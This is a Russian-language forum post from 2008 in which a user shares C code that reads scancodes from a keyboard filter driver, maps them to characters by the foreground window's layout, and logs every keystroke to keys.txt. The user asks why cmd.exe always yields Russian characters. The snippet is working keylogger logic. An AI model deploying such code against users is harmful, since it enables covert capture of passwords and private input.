Перехват нажатий клавиш

Тема в разделе "WASM.WIN32", создана пользователем prus, 17 июн 2008.

  1. prus

    prus New Member

    Публикаций:
    0
    Регистрация:
    26 окт 2007
    Сообщения:
    92
    Всем привет.
    Сделал фильтр для \Device\KeyboardClass0 и вытаскиваю в юзермод сканкоды нажатых клавиш.
    В юзермоде хочу получить символы клавиш по сканкоду для приложений в зависимости от раскрадки клавиатуры.
    Делаю так:

    Код (Text):
    1.     while(1) {
    2.  
    3.         ZeroMemory(&KeyData, sizeof(KEY_DATA));
    4.    
    5.         if( DeviceIoControl(hDriver, IOCTL_GET_KEY_DATA, NULL, 0, &KeyData, sizeof(KEY_DATA), &dwNumberOfBytesRead, NULL) ) {
    6.        
    7.             do {
    8.                 hCurrentWin = GetForegroundWindow();
    9.                 dwThreadIdWin = GetWindowThreadProcessId(hCurrentWin, &dwProcIdWin);
    10.                 hKeyLayout = GetKeyboardLayout(dwThreadIdWin);
    11.                 usVirtualKey = MapVirtualKeyEx(KeyData.usScanCode, 1, hKeyLayout);
    12.                 GetKeyboardState(btKeyboardState);
    13.                 ToAsciiEx(usVirtualKey, KeyData.usScanCode, btKeyboardState, &BufChar, 0, hKeyLayout);
    14.                 CHAR chKey[32]={0};
    15.                 CHAR chBuffer[128] = {0};
    16.                 CopyMemory(chKey, &BufChar, sizeof(CHAR));
    17.                 _snprintf(chBuffer, 127, "SCANCODE: %d VIRTUALCODE: %d KEY: \"%s\"", KeyData.usScanCode, usVirtualKey, chKey);
    18.                 WriteDataToFile("keys.txt", chBuffer, strlen(chBuffer));
    19.                 //printf("SCANCODE: %d KEY: \"%s\"\n", KeyData.usScanCode, chKey);            
    20.             } while( DeviceIoControl(hDriver, IOCTL_GET_KEY_DATA, NULL, 0, &KeyData, sizeof(KEY_DATA), &dwNumberOfBytesRead, NULL) );
    21.  
    22.         }
    23.    
    24.         Sleep(10);
    25.  
    26.     }
    Для всех графических приложений все ок и в зависимости от раскладки RU/ENG получаю русские или англ. символы.
    А вот для cmd.exe постоянно получаю русские (в моем случае) символы и при RU и при ENG.
    Не подскажите можно ли это поправить?

    Заранее спасибо!